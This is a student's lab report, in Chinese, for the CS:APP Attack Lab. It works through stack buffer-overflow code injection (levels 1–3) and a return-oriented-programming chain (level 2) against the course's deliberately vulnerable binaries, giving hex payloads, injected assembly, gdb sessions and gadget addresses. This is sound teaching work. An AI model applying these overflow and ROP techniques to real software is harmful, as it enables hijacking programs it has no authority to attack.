Lab3 - Attack Lab Report

> 陈睿 10245101560

前置知识

本实验聚焦于一个关键函数`getbuf()`：

```
unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}
```

我们给`buf`数组分配了`BUFFER_SIZE`大小的空间，然后调用了`Gets()`函数来读取一行。这里的`Gets()`和标准C库中的`gets()`一样，都不会检查我们的输入是否超过了我们设定的大小，这也就是我们实验的目的所在：借助这一缓冲区溢出的特性实现攻击。

> 所以`gets()`并不是一个安全的做法，我们应该在编程时尽可能使用'fgets()'。

当我们输入：

```
./ctarget -q
```

对于`ctarget`的用法：

```
Usage: [-hq] ./ctarget -i <infile>
  -h          Print help information
  -q          Don't submit result to server
  -i <infile> Input file
```

显然我们不需要提交到服务器，所以用`-q`参数。返回如下：

```
Cookie: 0x59b997fa
Ouch!: You caused a segmentation fault!
Better luck next time
FAIL: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:FAIL:0xffffffff:ctarget:0:
```

这个时候就发生了溢出。

对于实验提供的工具`HEX2RAW`，可以方便地帮助我们从16进制文件生成攻击字符串。

代码注入攻击

Level 1

`getbuf()`被一个`test()`函数所调用：

```
void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}
```

我们希望我们执行`touch1()`函数：

```
void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}
```

当输出了`Touch1!: You called touch1()`，我们确实就攻击成功了。

我们的思路就是，首先反汇编`ctarget`，找出`touch1()`的入口地址，然后尝试让`test()`的控制流切换给`touch1()`，可以借助`gdb`工具。

使用`objdump`反汇编：

```
objdump -d ctarget > ctarget.asm
```

查看一下`getbuf()`，得到：

```
00000000004017a8 <getbuf>:
  4017a8:       48 83 ec 28             sub    $0x28,%rsp
  4017ac:       48 89 e7                mov    %rsp,%rdi
  4017af:       e8 8c 02 00 00          call   401a40 <Gets>
  4017b4:       b8 01 00 00 00          mov    $0x1,%eax
  4017b9:       48 83 c4 28             add    $0x28,%rsp
  4017bd:       c3                      ret
  4017be:       90                      nop
  4017bf:       90                      nop
```

我们可以看出，这个函数申请了`0x28`个字节的空间，这块空间实际上就是`BUFFER_SIZE`大小。因此，我们要注入的字符串就是`0x28`大小的随机内容加上`touch1()`的地址，这样在函数返回的时候就会因为进入缓冲区溢出的部分内容的地址，达到我们注入攻击的目的。已知`touch1()`的地址为`0x4017c0`，我们可以编写一个`p1.txt`文件（注意小端法）：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
```

然后运行：

```
./hex2raw < p1.txt > p1
./ctarget -qi p1
```

运行成功了！

我这里由于一开始没有使用`-qi`参数，而是仅仅使用`-q`，导致文件内容没有正确传入程序，debug了将近三个小时才发现问题所在。提醒我在使用前一定要仔细观察用法。

Level 2

在第二关中，我们需要执行地址为`0x4017ec`的`touch2()`：

```
void touch2(unsigned val) {
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}
```

我们需要把我们的`cookie`作为第一个参数传入函数。回想起第三章的知识，`%rdi`寄存器就存放了函数的第一个参数。

我们知道，`ret`指令相当于`pop %rip`，因此我们可以自己编写一段代码，实现将`cookie`放入寄存器`%rdi`中，然后把`touch2()`的地址压入栈底，最后`return`，进入`touch2()`。可是，我们要如何做到能够执行我们自己编写的汇编代码呢?

我们只能运用40个字节之后溢出的8个字节来返回到这一地址。倘若溢出的8个字节正好指向的是我们`BUFFER_SIZE`的40个字节的首位，即栈顶，我们就能通过将前40个字节注入我们自己编写的汇编代码，从而实现跳转到我们自己的指令，最终跳转到`touch2()`函数，同时又带上了`cookie`信息。

我们的`cookie: 0x59b997fa` `touch2(): 0x4017ec`，因此有汇编代码放入`p2.s`：

```
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
```

利用附录B的字节表示生成工具：

```
gcc -c p2.s
objdump -d p2.o > p2.d
```

得到字节表示：

```
p2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          push   $0x4017ec
   c:   c3                      ret
```

我们就得到了字节序列：

```
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3
```

这个序列就可以放在我们注入攻击的字符串的前40个字节。我们现在需要找到`getbuf()`栈顶的位置，这样的话，当我们在缓冲区最后8位注入了此时栈顶的位置，我们就可以跳转到此时的栈顶，开始执行我们注入的指令。

用`gdb`查找栈顶的地址。

```
(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) r -qi p1
Starting program: /mnt/c/Users/eagle/Documents/Repos/Eagle233-In-Class-Practices/CSAPP/Lab3 - a
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) s
14      in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
=> 0x00000000004017ac <+4>:     mov    %rsp,%rdi
   0x00000000004017af <+7>:     call   0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    ret
End of assembler dump.

(gdb) p/x $rsp
$1 = 0x5561dc78
```

因此栈顶的地址为`0x5561dc78`。于是我们可以写出序列到`p2.txt`：

```
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
```

然后运行：

```
./hex2raw < p2.txt > p2
./ctarget -qi p2
```

运行成功了！

Level 3

`touch3()`和`hexmatch()`代码如下

```
void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
```

```
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
```

这一个`hexmatch()`使得我们注入不再可预测了，因为假如还是和上一题那样注入，由于我们的`s`在随机向上延伸，那么就有可能写爆`getbuf()`栈帧里面的内容，我们无法使用上一题在`getbuf()`的栈帧注入的方法。因此我们可以想到在`test()`的栈帧保存我们的字符串。

这次我们传入的是一个字符串，然后将这个字符串与`cookie`进行对比。因此我们要把`cookie`压入`%rdi`，然后调用地址为`0x4018fa`的`touch3()`。但注意此时`cookie`是字符串，我们需要转换为ASCII码`35 39 62 39 39 37 66 61`。所以我们这个时候压入的应该是这个字符串的首地址，我们需要把这个字符串保存在`test()`的栈帧，因此运用`gdb`找下栈帧位置：

```
(gdb) b test
Breakpoint 1 at 0x401968: file visible.c, line 90.
(gdb) r -qi p2
Starting program: /mnt/c/Users/eagle/Documents/Repos/Eagle233-In-Class-Practices/CSAPP/Lab3 - a
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cookie: 0x59b997fa

Breakpoint 1, test () at visible.c:90
90      visible.c: No such file or directory.
(gdb) s
92      in visible.c
(gdb) disas
Dump of assembler code for function test:
   0x0000000000401968 <+0>:     sub    $0x8,%rsp
=> 0x000000000040196c <+4>:     mov    $0x0,%eax
   0x0000000000401971 <+9>:     call   0x4017a8 <getbuf>
   0x0000000000401976 <+14>:    mov    %eax,%edx
   0x0000000000401978 <+16>:    mov    $0x403188,%esi
   0x000000000040197d <+21>:    mov    $0x1,%edi
   0x0000000000401982 <+26>:    mov    $0x0,%eax
   0x0000000000401987 <+31>:    call   0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:    add    $0x8,%rsp
   0x0000000000401990 <+40>:    ret
End of assembler dump.
(gdb) p/x $rsp
$1 = 0x5561dca8
```

因此栈帧在`0x5561dca8`。将其作为字符串首地址，编写`p3.s`：

```
movq $0x5561dca8, %rdi
pushq $0x4018fa
ret
```

利用附录B的字节表示生成工具：

```
gcc -c p3.s
objdump -d p3.o > p3.d
```

得到字节表示：

```
p3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          push   $0x4018fa
   c:   c3                      ret
```

我们就得到了字节序列：

```
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3
```

还是放到缓冲区的前40个字节。接着找到`getbuf()`栈顶的地址为`0x5561dc78`，作为40个字节之后的内容。

```
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
```

可是我们字符串首地址`0x5561dca8`距离`getbuf()`的栈帧有多远？这决定了我们应该在注入字符串的何处放置我们的字符串。经过计算，`0x5561dca8 - 0x5561dc78 = 0x30`，正好是48个字节，也就是说，从49-56个字节处，我们就可以放置我们的字符串，这样我们编写的汇编代码就能顺利跳转到字符串的首地址。于是我们可以写出序列到`p3.txt`：

```
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
```

然后运行：

```
./hex2raw < p3.txt > p3
./ctarget -qi p3
```

运行成功了！

返回导向编程攻击

这一部分主要实现了两种防止攻击的手段：

- **栈地址随机化**
- **限制的可执行代码区域**

这导致我们的攻击变得困难起来了，但是文档提供了**ROP**的攻击手段。

Level 2

我们有几个最基本的代码：
`ret`：`0xc3`
`nop`：`0x90`

我们要找到能将`cookie`作为第一个参数传入`touch2()`的**Gadgets**。先查看`rtarget`的汇编代码：

```
objdump -d rtarget > rtarget.s
```

我们可以先把`cookie`存到某一个寄存器里面，然后再将这个寄存器存到`%rdi`里面。我们可以写出如下汇编代码：

```
popq %rax
ret

movq %rax, %rdi
ret
```

为什么选用的是`%rax`？因为我们可以找到：

```
00000000004019a0 <addval_273>:
  4019a0:       8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:       c3                      ret
```

其中`48 89 c7 c3`通过查表3A可知，就是`movq %rax, %rdi / ret`的意思，地址是`0x4019a0 + 0x2 = 0x4019a2`。因此我们可以找找`popq %rax / ret`对应的字节级表示。发现：

```
00000000004019ca <getval_280>:
  4019ca:       b8 29 58 90 c3          mov    $0xc3905829,%eax
  4019cf:       c3                      ret
```

这里的`90`是`no op`的意思，所以也可以构成我们需要的指令，地址为`0x4019ca + 0x2 = 0x4019cc`。

找到`touch2()`的地址为`0x4017ec`，因此我们转换为字节级表示写入`p4.txt`：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
```

然后运行：

```
./hex2raw < p4.txt > p4
./rtarget -qi p4
```

运行成功了！

Level 3

考虑到`Writeup.pdf`中的：

> You have also gotten 95/100 points for the lab. That’s a good score. If you have other pressing obligations, consider stopping right now.

在之后再对这一关深入研究。
